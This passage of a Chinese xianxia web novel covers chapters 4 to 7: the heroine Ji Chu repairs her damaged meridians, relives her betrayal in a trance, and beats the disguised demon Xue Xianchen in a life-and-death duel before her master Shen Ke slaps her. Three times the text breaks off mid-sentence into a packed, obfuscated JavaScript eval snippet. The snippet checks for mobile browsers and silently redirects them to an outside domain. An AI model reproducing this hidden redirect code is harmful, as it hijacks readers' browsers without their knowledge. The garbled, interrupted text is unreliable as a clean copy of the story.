纪楚收回思绪。 谈知长老又给她喂了许多丹药后,这才开口: “幸而你乱吃东西,误打误撞提前催发此伤,否则任由经脉继续恶化下去,以后便很难寻求大道了。” 许盈很是为纪楚捏了一把汗。 纪楚诚恳道谢:“谢谢长老。” 谈知很是无所谓地摆手。 纪楚是真心实意地感谢谈知长老。 前世她修行受阻,一直不得进益,在宗门中越发无从立足。 而她经脉受损的事,以沈恪的修为,未必没有觉察到,只是他不在乎。 毕竟对他而言,纪楚只有和薛晚凝相似的地方才有价值。 修为如何,都不重要。甚至修为平平,才更好拿捏。 想到这些,纪楚忍不住露出个嘲讽的笑。 许盈自然也想到了这些,只是她不知道沈恪与纪楚之间的弯弯绕绕,还在试图宽慰她: “或许沈长老是年纪大了老眼昏花,所以才没看出来你受伤的事。” 纪楚被她的话逗笑。 两人忽然想起谈知长老还在一边,一齐扭头看去。 然而谈知长老就像没听见许盈说了什么大逆不道的话一样,只道: “丹药只能补得一时,经脉修复归根结底,还是得靠你自己。” 说完,她又状似不经意地补充了一句: “冲毁你经脉的灵力很是强盛,不能吸纳才会被其反噬。世间之事,往往福祸相依。” “我明白了!” 纪楚的眼睛一下子变亮: “谢谢长老,我这就回去打坐,运转灵力!” 纪楚走后,谈知长老一边整理书籍,一边对着虚空道: “悟性尚可,只是修为太低,修复经脉时最好有人看着。” 没人回应,她又道: “延医阁人手不足。自己师妹,自己操心。” 虚空中传来淡淡二字: “多谢。” 4. 第 4 章 纪楚没有去沈恪那边,而是回了自己的小院,送走许盈后便开始打坐运转灵力。 前世她经脉受损,修为平平,到死也没能突破臻境,堪堪只得玄境十阶。 引起入体,境界方生。 玄境、臻境、化境各十阶,再往上,便是金仙。 多少修士终其一生,也难以触摸到化境的边,更别说是金仙了。 拂宇仙宗上上下下,已知的达到金仙的人,也不过掌门一人。 不过前世到最后,师兄都能抽出空来杀她,他应该……也已经是金仙了吧。 怎么办,又开始难过了…… 想到这里,纪楚果断抬手抱着自己的头晃了晃,强迫自己专注修炼,不要想这些有的没的。 意识沉入黑暗,她在心中默念口诀: “静心凝神,意守丹田。” 师兄雷劫刚过,第一件事竟然就是一剑捅死自己…… “呼吸绵长,吐纳自然。” 是,她是修炼邪术,叛出宗门,但她有没有入魔,有没有杀人,师兄难道不该清楚吗?他根本就不信她…… 纪楚的呼吸乱了几分。 “观想灵源,普照周身。” 许是重生后便一直忙着到处跑,如今终于独自一人安静下来,纪楚这才后知后觉地感受到几分情绪的动荡。 一会儿是前世自己一步步走向死亡的悲痛,一会儿又是许盈笑着对她说“梦都是假的”…… 死前的记忆不可阻挡地涌入她的脑海,“混乱和绝望”与当下的“安宁和平静”在她脑子里不断对冲,随着经脉的运转来回占据上风,和心诀要求背道而驰。 果不其然,纪楚走火入魔了。 引入体内的灵力没有随着经脉有序运转,反而在经脉中不停冲撞,经脉上被结界灵力打出的缺口因此变得更大。 失去控制的灵力在经脉附近盘旋进出,撞击着她的五脏六腑,而后涌向她周身。 纪楚的额头冒出冷汗,浑身都在不自觉地颤抖,却仍沉浸在可怖的幻境中。 门窗被风吹得哗哗作响,却没能将她从痛苦的场景里拽出。 纪楚闭着眼,伸出手。 她在幻境中触碰到了许盈的尸身。 不止是许盈,还有其他弟子。 那些熟悉的陌生的、见过的没见过的、曾经一起修行的同门的尸体躺了一地,鲜血交错汇聚成河,将这地上的砖石都染成了暗红色。 离许盈最近的那人握着她的手,跪在她身侧没了气息,后背血淋淋一片,露出森森白骨。 …… 纪楚被人用剑抵着后背按在地上。 许盈的血蹭到了她脸上,纷杂的声音从四面八方响起: “勾结魔族,抢走神骨,残害同门……” “不是我……” 她开口想解释,却发现自己发不出声音。 再回过神时,有人自身后一脚踢在她膝弯。 她站立不稳,摔倒在地,抬起头,正对上沈恪厌恶的目光。 “往日我念及师徒情谊多有包庇宽纵,竟养成你这般无法无天的性子,如今,竟敢对同门下此狠手……” 禁言咒解开,纪楚终于能说出话了。 她当即自辩: “不是我!许盈是我唯一的朋友,我怎会杀她?” “你如何解释你身上的魔气?” 一柄剑被扔到她面前: “这是你的佩剑,上面的魔气就是证据!你还有什么好说的?!” 面对长老的质问,纪楚动了动嘴,下意识看向沈恪。 沈恪却转开视线,对那长老道: “往日我念及这孩子孤苦无依,多有包庇,不料竟酿成如此大祸。自晚凝回来,她便一直心有不忿,多生嫉妒。既如此,便交由宗门律法处置吧。” 纪楚一下子愣住了。 心性阴暗,嫉妒薛晚凝。 她竟得到了这么个评价。 她感觉像是被人从头到脚浇了一盆冰水,瞬间将她整个人冻在原地,而后又在这彻骨的寒气中萌生出一股强烈的恨。 她跪在地上,仰着头,目光缓缓扫过沈恪的脸。 沈恪微微蹙眉。 他平日最讨厌纪楚的眼睛。 分明一张和晚凝相似的脸,偏长了这么一双又黑又亮的眸子。 看人时总显得咄咄逼人,将这张脸上那一点令他念念不忘的温婉冲散得一干二净。 简直像是能看透他心底的不堪,总让他无所遁形。 而如今,晚凝已经回来,他终于不用再对着这双眼睛了。 自纪楚被抓后便一直沉默的掌门此刻才出声: “那依沈长老之见,此子该如何处置?” 沈恪负手道: “依照门规,当废其弟子身份,除其修为,处死。” 其他长老闻言,皆诧异地看向沈恪,没想素来温和如玉的人,竟也有如此“绝情”的时候。 掌门尚未回答,反倒是跪在下面的纪楚喃喃出声。 “原来如此。” 她捡起地上的剑。 这确实是她的佩剑,但同样也是内门弟子人手一柄的最为普通的佩剑。 沈恪对她的剑道修行并不上心,自然也不会专门为她寻找剑作为武器。 故而这把剑素来只当摆设,几天前就没了踪影。 如今,竟成了她杀害同门的证物。 掌门与沈恪皆在场,没人相信纪楚能用这柄普通的剑伤人。 故而一时间无人阻拦,由着纪楚拿起长剑端详。 片刻后,纪楚握住剑柄,抬头看向沈恪,眼中无一丝情绪: “我不嫉妒薛晚凝,更没有杀害同门、盗取神骨。” 纪楚握着剑站起身,尽量与沈恪平视。 沈恪拧眉:“你——” “正相反,我最恨的,恰恰是我自己,我恨自己长了一张、和她薛晚凝相似的脸!” 纪楚带着愤恨的声音传来,随即剑光一闪。 沈恪以为她胆敢对自己动手,果断挥袖甩出灵力打向纪楚。 纪楚被他灵力打中,重重撞在墙上。 长剑落地,剑上鲜血犹新。 她吐了一口血,再无力气爬起来,只能艰难地跪坐在地上。 而她的脸上已多了一道蜿蜒剑痕,深入皮肉,可见动手之人毫不犹豫的决心。 “……这副容貌,我早就不想要了。” …… 黑暗中,纪楚周身环绕着黑气,尤其是她阖着的双目附近黑气最盛。 她伸出的手停在虚空,仿佛抓着什么东西,指节因用力而苍白突出,黑气便在她指尖凝出刀刃的形状。 纪楚虚握住刀柄,反手划向自己的脸—— 手腕猛得被人握住。 纪楚已是走火入魔的状态,心里的执念格外强烈。 被人阻止,便用上双倍的力气抵抗,一副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074457|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 誓死要将自己这张脸划烂的架势。 然而圈在她腕间的手分明没有怎么用力,却将她的动作牢牢制住。 纪楚挣扎了半天,发现拽不过他,只得被迫接受现实,渐渐平静下来。 前世记忆生出的幻境随着她的气息逐渐平和而寸寸碎裂,直至彻底消失不见。 她整个人于是置身于一片无边的黑暗中央。 这样的地方倒是没有前世那些让她恶心的人和事。 纪楚在黑暗中驻足,左看右看,眼前什么都没有。 手腕上始终传来被人握住的触感,似在提醒她。 纪楚低头,甩了甩,没能将其甩掉,却也看不到有东西。 她正玩的开心,忽然听见一道声音自天边响起: “精心凝神,意守丹田。” 语调有点冷,似乎还很熟悉,带着让人平静下来的力量。 纪楚脑子蒙蒙的,一时无法从混乱的记忆中找到对应的人,身体已循着本能,依言照做。 无边黑暗中凭空出现了一个圆形的光点,随着这光点的亮起,更多丝丝缕缕宛如枝杈一般的线条也跟着亮起,自这中央一点亮光朝外延伸铺开,将整个天穹连成一张大网。 纪楚知道这是已经入定,开始“观想灵源”了,急忙集中精神。 灵气顺着她的经脉流动,像无数荧光在面前的线条中流动,撞上缺口,便分出一缕进行修补,随后与缺口处凝滞的灵力汇合,朝丹田汇聚而去。 这过程极为复杂。 人之经脉连通周身,细小的分叉数不胜数,牵一发而动全身,一个小小的滞涩便会使得灵气整体运转不畅。 纪楚的经脉破损之处纷繁混乱,散在她的经脉中,犹如大海捞针一样。 加上她修为太低,灵力稀微,速度就更慢了。 过了好久,才只补了个零头。 她不免有些泄气。 好在手腕上那触感始终停留,比起禁锢,更像是在无声陪伴。 她也因此打起精神,又修补了好久,直到体力不支,才从入定的状态被弹了出去。 手腕上残留着几分凉意,并无人在。 想来昨夜那人只是偶然路过发现她修行有异的好心弟子,随手帮了忙,又不求回报。 纪楚便没有试图去找。 屋内只她一人在床边打坐,房门窗户都被关得严严实实,一缕阳光从窗外照进来,在地上映出长条状的暖光。 天亮了。 一晚上的努力没有白费,虽未完全修好经脉,灵力运转却已经顺畅许多。 纪楚心情大好,默默在心里感谢了一番昨夜救她一命的好心人,然后提着剑出了门。 既然决定了要好好修行,早上的课就不能再逃了。 今日徐长老传授剑道。 纪楚虽紧赶慢赶,还是来晚了一步。 徐长老已经讲完了今天的注意事项,开始让众人分组实战练习。 纪楚只赶上了两两分组的尾巴。 薛羡尘立在原地,唇红齿白的俊俏模样格外有欺骗性,冲她笑道: “纪师妹,今日怎么有空来上早课了,不需要跟着沈长老学琴了吗?” 重生回来,他眼底明晃晃的恶意没有骗过纪楚。 纪楚一边在心里吐槽自己前世竟然连这么拙劣的“激怒”都看不出来,竟还真如了这魔头的愿,次次生闷气,一边拔剑摆出迎战的姿势: “动手吧。” 5. 第 5 章 看见纪楚这副冷静的模样,薛羡尘眼里闪过疑惑。 “学琴”一直是纪楚的心结。 这东西没天分就是没天分,更何况沈恪又是个吹毛求疵的师父。用精通琴道的薛晚凝来做标准,再看纪楚,自然处处都是失望。 是以往日,只消他一提“学琴”,纪楚就一定会忍不住,轻则心绪不宁转身离开,重则当场与他翻脸。 薛羡尘在宗门中素来是个良善少年模样,只消假装被她冷落或是打伤,纪楚便会落得个“性情古怪”、“不友善”的指责。 但今天,纪楚完全没心情和他演这一出。 她只想抓紧时间把错过的课补一补。 因此无论薛羡尘说什么,她都不想搭理,只想速速上完课,然后回去修补经脉。 “废话少说,你要是想弹琴,我就去找别人练剑了。” 纪楚这话吸引了不少弟子的注意,好些人停了手看向这边。 薛羡尘听她这样说,在只有她能看见的地方阴冷冷笑,拔出了剑: “你可别后悔。” 他率先出剑攻来。 剑势极快,冲着纪楚面容而来。 纪楚凭借着记忆中的剑招,抬剑去挡。 弟子对招,素来留有余地。 两人剑锋相对,纪楚修为更低,显然落于下风。 照常理,薛羡尘应该是在撞上她剑的同时卸力停顿,便算赢了。 但他没有。 两剑相碰的瞬间,薛羡尘力道不减反增,直接将纪楚手中剑从中砍断,剑刃朝着纪楚的眼睛飞来。 她匆忙后仰躲避,断裂的剑尖擦着她的前额滑过,带出一条细细的血线。 而面前薛羡尘的剑势丝毫没有回收之意,重重朝她压下,直欲取她性命—— “铛”的一声,剑意嗡鸣。 丹雨剑拦下了薛羡尘的剑,许盈出现在纪楚身前,老鹰护崽一样将她挡得严严实实,怒瞪薛羡尘: “你敢杀人?” 她比纪楚修行时间长,虽也是玄境,却已有了几分剑修的威严。 又得灵剑加持,薛羡尘的剑被她轻松挡下。 没能直接在此杀了纪楚,薛羡尘脸上露出一丝遗憾,但很快就被无辜的神情取代: “怎会?我只是不小心失手。” 说完,他的目光越过许盈移到了纪楚脸上: “更何况,谁能想到,内门竟还有修为如此低下的弟子,剑气全无,竟连一招都接不住。” 周围人瞬间议论起来。 薛羡尘所说确实也是他们许多人的心声。 纪楚进内门,是由沈恪长老亲自选入的,既没有经过内门考核,也没有展现出特别的天赋。 不但如此,纪楚进内门后的表现也不尽如人意,宗门里不是没有质疑的声音,但都因着沈恪的存在而不敢当面议论。 毕竟,不少人都是见过薛晚凝的,自然也知道纪楚和薛晚凝样貌相似。 因此而萌生的闲言碎语只多不少。 许盈虽不觉得纪楚是“靠脸”进的内门,但仍担心她往心里去,急忙对她说: “你别听他胡说,宗门长老并非昏庸之人,你既然站在内门,就是堂堂正正的拂宇仙宗内门弟子,他们懂什么!” 纪楚冲她笑了一下,表示感激,但却没有说话。 其实旁人的议论也并非空穴来风。 若非这张脸,她早就和家人一起死在妖兽口中了,又怎会有机会再站在这里呢? 至于修为,她确实很差。 一半的时间拿去模仿薛晚凝的琴,另一半的时间用来模仿失败后的罚跪和伤心,她哪有精力潜心修行。 换作是她,也会看不起自己。 纪楚的沉默看在许盈眼里便成了强颜欢笑的伤心。 她哪能看着朋友受这种欺负,当即剑指薛羡尘: “想比剑是吧?有种来和我比!看看谁杀得了谁?!” “都在干什么?想造反吗?” 徐长老出现,一声呵斥,众人纷纷安静下来。 他先是看了一眼纪楚,神情带着不耐烦,而后转向许盈: “这儿是拂宇仙宗,你想杀谁?” 许盈愤愤闭了嘴。 徐长老便道: “剑术切磋,有摩擦是再正常不过的事。若是有人吃不了苦受不得伤,可以不上我的课……请吧。” 虽未直接点名,但显然是在说纪楚“小题大做”、“吃不了苦”。 薛羡尘暗自得意。 这也是他选在剑术课上动手的原因。 徐兆华此人最是正派,眼里揉不得丝毫沙子。 纪楚越过考核直接拜入内门,一开始就触犯了他的底线,只是碍于沈恪的面子强忍着罢了。 之后更是频频在他的课上出现问题,徐长老本就对她不好的印象变得更差。 此时再怎么辩解,他也只会觉得是纪楚故意挑事。 纪楚因而没有反驳。 薛羡尘向徐长老行了一礼,十分识大体的模样: “纪师妹沉迷琴道,甚少参加这样容易受伤的比试,自然也不知道剑术切磋的危险,徐长老莫要责怪。” 看似是在替纪楚求情,实则是提醒徐长老: 纪楚逃课太多,胆小懦弱,连剑术切磋容易受伤都不知道。 徐长老的怒气一下子涌了起来: “既是喜欢琴,又何必违心来学什么剑?平白脏了尔手中剑!” 许盈忍无可忍: “薛羡尘!你少在那搬弄口舌挑拨离间!你算什么修士!” “够了!” 徐长老忍无可忍: “纪楚,你以后不用再来了。我的课,不欢迎懦弱胆小、不敢比试的弟子!” 纪楚猛地抬头。 许盈更是不忿至极: “凭什么?!明明是薛羡尘动手在先——” “谁说我不敢?” 纪楚忽然迈步上前,直视着薛羡尘的脸,冷冷开口: “我和你比。” “你?” 薛羡尘嘴角的讽刺弧度变大: “你连我一招都挡不住,若是再比输了,难道又要污蔑我蓄意杀你?” 他语气不屑: “纪楚,你还是回去,老老实实学你的琴吧。” “生死台。” 纪楚再度出声,语出惊人: “我们上生死台比。” 众人哗然。 薛羡尘嘴角的嘲讽笑容僵住,眼神变得幽深。 * “生死台”本身虽然没有名字听起来这么可怕,不过,也并非小打小闹。 双方分别将灵力和修为投入生死台中,以幻影的形式进行对决,不会真的危及生命。 只是生死台一旦开启,便不会关闭,不允许投降、逃跑,必须直到一人的幻影被斩落,才算决出胜负。 败者灵力枯竭,修为折损,心智不定者还会因此而神识大伤;胜者吸收败者灵力,修为大增。 这不是一场普通的比拼,而是一场赌上全部身家的决斗。 许盈觉得纪楚肯定是疯了。 并非是她不相信姐妹,但平心而论,纪楚的修为在薛羡尘面前,确实有些不太够看。 更何况薛羡尘本就对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074458|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她恶意十足,难得有这种机会,只怕更不会留手。 以纪楚的实力,要想赢,必须压上全部修为。 可这样的话,一旦输了,修为清空,神识大伤,只怕会连刚入门的外门弟子都不如。 “啧……纪楚这次,凶多吉少啊。” 蒋成旭抱臂立于一旁,摇头。 他长的高大俊朗,剑眉星目,腰跨重剑,站立的姿态十分随意,透着几分散漫随性。 自己心里担心是一回事,被人说出来就是另一回事了。 许盈当即抬手给了他一拳: “闭上你的乌鸦嘴!” 他二人幼年在人界做邻居时就整日打闹,如今一起拜师修行,分开时尚有几分修士端庄,一旦见面,就会立马化身幼稚孩童,必得互相怼上几句才算过瘾。 蒋成旭揉了揉被她捶到的地方,也不恼,弯腰凑近她跟前,示意她去看四周: “你看看这儿来了多少人,又有几个不是我这样想的?” 许盈环顾一圈,心知他说的没错,但还是觉得生气,又给了他一拳: “那你说怎么办?!她自己提出来的,我连替她转圜的机会都没有!难道就只能这样眼睁睁看着她修为折损吗?” 两人说话的功夫,生死台上忽然光芒大盛。 纪楚和薛羡尘分立两端,一手按在面前石柱上,将灵力和修为输送到台上。 生死台开,对擂双方便不可反悔。 纪楚脚下生出结界,将她封锁在阵法中。 阵法既是禁锢,也是对她的保护,不至于让擂台上的伤害影响到她本人的性命。 想要离开,只有胜和败两种选择。 她端详着对面的薛羡尘。 提出和他比拼,一开始确实有冲动的原因。 她想修行,想变强,徐长老的剑术课她必须听。 但提出在生死台上比,则是她有意为之。 毕竟,薛羡尘是魔这事就像她心里的一根刺,若不能尽早拔了,只会让她不能安寝。 从知道他诬陷自己开始,纪楚就在心里盘算着,到底怎么才能让他暴露魔的身份。 生死台或许是个机会。 修士以灵力修为开启生死台,若是魔,自然当场暴露。 但薛羡尘毫无异样,看起来和修士并无二致。 可见这魔头道行颇深,寻常手段根本无法测出他的真身。 不过这也正常,能骗过拂宇仙宗上下的魔,定然不是等闲之辈,她原也不能指望着如此轻易就成功。 纪楚只泄气了一瞬,很快又打起精神。 眼下唯一能做的,就是全心全意,赢下面前这一局。 生死台上,属于纪楚的那道虚影逐渐凝实,长剑出鞘,灵力浅淡,运转时还有滞涩,一看便是带着伤。 而在她的对面,薛羡尘的虚影周身溢满灵气,只一拔剑的动作,便有剑意萦绕,碾压之势不用比就能看得分明。 蒋成旭看出了点不对劲,忍不住皱眉: “纪楚经脉有伤?” 许盈已经随着两人拔剑的动作紧张起来,闻言道: “经脉受损严重,谈长老说得慢慢修复……啊啊啊急死我了!” 与此同时,一道修长身影静静伫立于远处山崖上。 寒风掠过崖顶,却被剑气隔绝在外。 他的目光准确无误落在纪楚身上,视线逐一划过她周身灵力滞涩之处。 好容易按着人修了一夜经脉,将将有些好转,就跑来同人决斗吗? 他素来性情冷淡,此刻却难得有些想要叹气。 台上剑光闪起,薛羡尘动手了。 6. 第 6 章 薛羡尘出招很快,纪楚全神贯注,这才勉强挡下一剑。 但不等她喘息片刻,对方第二剑已至。这一剑的攻击角度十分刁钻,她躲闪不及,左臂被划出一长道伤口。 虽然真身没有受伤,但这份痛意却是直接传到了神识上,阵法中的纪楚下意识皱眉。 她以右手腕按了一下左臂,确认骨头没有损伤,便不再管这伤口,摆出对战姿态。 薛羡尘一剑又来。 他用的是拂宇仙宗内门弟子的剑法,纪楚虽不精通,却也懂些皮毛,两招之下,竟摸出了他的出剑路数,稳稳挡下一剑。 许盈的欢呼透过阵法传到台上。 纪楚扭头顺着声音看去,外面围满了看热闹的人,她只看到了一堆头顶,分不清哪个是许盈。 她又转回头。 台下许盈开始狂捶蒋成旭肩膀: “早说了你挡住我了!你能不能走开啊!” “投降投降投降,我想办法……” 蒋成旭忙举双手做投降状,随后叹了口气,气沉丹田,冲前面挤来挤去的众人大喊一声: “掌门来了!” 在场众人顿时一惊,下意识回头寻找掌门的身影。 蒋成旭便趁机拉着许盈挤到了最前面。 察觉到被骗的其他人纷纷投来愤怒的注视。 蒋成旭梗着脖子装作不知,站在许盈身边,人高马大地吸走了所有不满的目光。 台上纪楚和薛羡尘已经再次交手。 前世她没有这样正大光明和人比剑的机会,素来被视为不擅长剑术,连她自己都没有什么信心用剑。 可如今在台上,纪楚却展现出了极佳的天分。 薛羡尘用的剑法,她第一次接不住,第二次便能勉强躲开,第三次甚至开始尝试模仿,反过来攻击薛羡尘。 若非修为太低,应当也有机会和薛羡尘打个平手。 薛羡尘自然也发现了她在学习自己的剑招。 之所以没有一开始就将纪楚打败,不过是因为胜局在握,想趁机羞辱她一番。 谁知她竟将计就计,把他当成了免费的教习和对练。 薛羡尘冷哼一声,岂能叫她如意。 手上剑势一变,已经是全然不同的剑法。 剑影乱如繁花,剑风四面环绕。 纪楚从未见过这样的招数,面前的剑影更是纷乱非常,无法探寻其中规律。 每每出剑抵挡,碰上的都是空气,根本找不到对方真正的位置。 蒋成旭离得近,看得清楚,立时便认出了这套剑法: “薛家的独门剑法,繁光剑法!” 见许盈满脸茫然,他又补充道: “此剑法招式复杂,看似有成百上千招,实则全是用来迷惑敌人的,必须找出对方的位置,才能躲开致命的攻击。” 许盈一下子紧张起来,急忙看向台上。 果不其然,待将纪楚转得头晕眼花之时,那乱花丛中却忽然伸出一剑,自身后而来,直刺向她的心口。 纪楚瞳孔一缩,剑虽从身后来,她却本能感觉到了恐惧,匆忙侧身避开。 “噗嗤”一声,长剑入体,台上纪楚的虚影左肩顿时晕开大片血色。 阵法中的纪楚肩上无伤,却骤然脸色一白,站立不稳,双手一下子被从石柱上弹开。 台上她的虚影顿时因失去操控而静止下来。 “纪楚!” 许盈急忙上前一步,却被生死台上无形的阵法光柱挡住,不能靠近,只能隔着阵法冲纪楚喊道: “你怎么样?” 纪楚垂着头,没有力气回答她,只能按着左肩摇了摇头,示意自己还活着。 薛羡尘察觉到她经脉受损,剑上故意灌了大量灵力,只一入体,便疯狂炸开,搅得她经脉破损更重。 看似只是一剑之伤,实则左半边身体的经脉全都因为这一剑而混乱起来,根本连动一动都困难。 许盈一看纪楚这脸色苍白的模样,便知薛羡尘定然动了什么阴招,却又找不到证据,气得直跺脚,只能盼着纪楚战败前能少受点苦,修为什么的压根顾不上管。 “我没事。” 纪楚缓过神来,按着左肩走上前,再度将手放在石柱上,台上静止不动的虚影随着她的动作拿起剑。 薛羡尘见她这样,嘴角冷笑,剑影再起。 纪楚受了一剑,左半边身体都有些不听使唤,又被一剑捅进了左膝。 阵法中的人直接站立不稳,松手跪到了地上,蓦地吐出一口鲜血来。 这次剑上的灵力更猛烈,冲得她五脏六腑都快要碎掉。 偏偏她修为太低,不能克化,反被其压制。 薛羡尘故意避开要害处,使她不能战败被生死台弹出去,只能被迫被他像“猫戏老鼠”一样“虐杀”。 许盈气的要死,却没有办法: “留在台上只能继续被他暗算,难道只能故意输了吗?” 纪楚摇头:“不行,我若故意输,便是坐实了不配用剑。” “那怎么办!” 若非有阵法拦着,许盈恨不得现在就拔剑捅死薛羡尘。 蒋成旭也赶了过来: “纪楚,薛羡尘既然想折磨你,想来不会直接下杀招。这繁光剑看着复杂,但并非没有破绽。” “多谢。” 纪楚擦掉嘴边的血,扶着石柱站了起来。 左膝像是生生被人挖去一样,痛得几乎要感觉不到肢体的存在。 头也痛得快要爆炸,压着眼睛睁不开,视野里模糊一片,连带着生死台下围观的众人也像是被掉进水里的水墨画,各种形状晕成一团,看不清边界。 唯眼前石柱上的纹路格外清晰。 纪楚抬手,按了上去,再度握住剑柄。 “没想到,你竟还能站起来。” 薛羡尘嘴角带着嘲弄: “这张脸带了血,倒真有几分楚楚可怜。怪不得能骗得沈恪救你。” 说着,他话锋一转: “只是你若妄想借此一步登天,彻底取代我姐姐,那可就错了!你根本连她一根头发都比不上!” “连着两世都是这句话,真没创意……” 纪楚兀自叹道,而后抬手,将落到眼前的头发拨到耳后,用只有台上两人能听到的声音说道: “你就是用这张脸骗了薛晚凝吧?其实,你根本,也连真正的薛羡尘一根头发……都比不上!” 听到她说什么的薛羡尘双瞳猛得一缩,声音变得格外可怖: “你说什么?” 纪楚已横剑在身前,仿佛不知道自己说了什么惊天大秘密一般: “废话少说,动手!” 薛羡尘却笑不出来了。 他怀疑纪楚已经知道了他的身份,却又无法从她的表情中看出她知道了多少。 一时没了继续折磨纪楚的心思,只想速战速决,再出招时便加快了速度,剑光在台上闪成零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074459|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎的光影。 这正合了纪楚的意。 薛羡尘隐藏身份藏匿到最后,十有八九是为了神骨,一定不想在此刻就暴露身份。 他越是想急着解决掉自己,越是容易暴露破绽。 纪楚太懂这种困惑焦虑的感觉了。 她曾在这种摸不着边界的痛苦中停留了太久,久到已经学会了和这种痛苦共存。 此刻薛羡尘脸上细微的焦灼,出招时略显急切的抖动,在她眼里全都一览无余。 纪楚看着薛羡尘,仿佛看到了前世那个求救无门、自寻死路的自己。 纷乱复杂的剑影在她面前忽然变得不那么可怕了。 心怀恐惧、犹如困兽的人是无法发挥出手中剑的全部力量的,他只会不停低头关注自己的手腕,而忘记了去看自己身后的影子。 纪楚垂眸。 片刻后,她双目一亮: “找到了!” 长剑回转,于半空中划出一道弧光。 一前一后两道利刃刺入皮肉的声音响起。 纪楚左肩靠近心脏的地方多了个伤口,被从生死台上弹出。 阵法散开,许盈三两步跑到她身边,扶着她站起来: “纪楚,你怎么样?疼不疼?我们去延医阁!” 纪楚冲她笑了一下,双目亮晶晶如宝石。 在她对面,薛羡尘不可置信地捂着自己的脖子。 就在刚才,纪楚不知怎么做到的,忽然破了他的繁光剑法,于无数纷乱的剑影中找到他真身所在,一剑抹了他的脖子! 虽被生死台弹出时身上并无伤口,但喉间一凉、鲜血上涌的窒息感太过真实,他一时间竟仿佛真的有了被她所杀的错觉。 他竟然败了! 败给了纪楚这个刚入门、连剑都拿不稳的赝品! 生死台结算胜负,薛羡尘修为迅速倒退,死亡的真实感尚未褪去,灵力和修为流失的痛极速传来。 他脸上瞬间变得惨白,再无昔日翩翩少年模样。 薛羡尘的修为化作光点,朝着纪楚的方向飞来。 许盈十分激动,主动退后两步: “太好了!有了这些修为灵力,你的经脉受损便可一次性好全了!” 蒋成旭也难得没有和许盈拌嘴,而是赞同道: “没错,再寻谈长老要些丹药调理,兴许还能直接升阶。” 纪楚先前倒没想过这种好事,但听见他们这样说,不免也跟着期待起来。 远处隐在云雾中的山崖上,一直注视着生死台的人正对上纪楚亮晶晶的眼睛。 纵使隔着一段距离,他也依然能感觉到她此刻的开心,素来淬着寒冰朔雪的目光也不自觉跟着染上了几分暖意。 见纪楚平安下来,他便收回目光,抬手接下掌门递来的传讯符,回身准备离开。 谁知就在薛羡尘的灵力和修为快要进入纪楚体内之时,一道灵力忽然从众人身后打来,将那包裹着修为的光球拦下。 众人一愣,便见一人御风而来,芝兰玉树,温润无双,端的是绝世容颜。 沈恪几步上前,眯起眼睛凝视纪楚数息,猝不及防扬手打了她一掌。 “孽障!” 纪楚整个人都被打得一懵。 其他弟子也被沈恪这一巴掌吓了一跳。 远处山崖上正准备离开的身影闻声顿住,看向生死台的目光冷了下去。 传讯符化作纸鹤在他身边催促,被他用指尖捏住按下。 7. 第 7 章 沈恪听说纪楚要和薛羡尘上生死台的时候,第一反应和其他人一样,觉得纪楚疯了。 不同的是,他觉得纪楚是为了他。 前日他一时不查,叫纪楚知道了晚凝的事。 她当时便心绪不稳,甚至做出了夜半砸琴的蠢事。 沈恪对她突然的反抗很是惊讶,却也只惊讶了一瞬。 他已经习惯了纪楚的顺从。 一只被拔掉爪牙单独关起来的小兽,纵使再怎么愤怒挥爪,到底也翻不出什么风浪。 中途执律堂的人找来,说纪楚涉嫌杀人。 虽然他知道纪楚并未杀人,却仍厌恶她言行不端,平白惹来旁人猜忌。 若她老实待在广玄峰,如何会因行踪卷入其中? 只是这一切,都没有必要去和外人解释。 是以他当即便叫执律堂弟子带了话。 至于后续如何,他自然不会再去关注。 纪楚虽记在掌门名下,但素来是由他亲自教导,自己身为宗门长老,料想他们也不敢来自己面前抓人。 可他没想到,纪楚竟敢私自跑出广玄峰,还因为一时嫉妒,就去找晚凝的弟弟——薛羡尘的麻烦。 甚至还被人挑唆着,上了生死台! 包裹着修为的光球原本被生死台推着朝纪楚的方向飞去,却被沈恪出手拦下,现下停在半空,一时不得移动。 纪楚胆大包天,竟敢在大庭广众之下,用那点不入眼的修为和他抗衡,不肯松手。 沈恪眯起眼睛,脸上笑意不再,俊美的面容看着有些阴冷: “放肆!” 短短两个字,带着化境顶阶修士的威压,在场众弟子无不跪地臣服。 纪楚也跟着被压到了地上,手上灵力松开,漂浮于生死台中间的修为光球便随着沈恪的动作,再度回到了薛羡尘身上。 看薛羡尘的脸色不再像方才那样苍白,沈恪面色这才缓和些许,但看向纪楚的目光仍十分不善: “你可知错?” 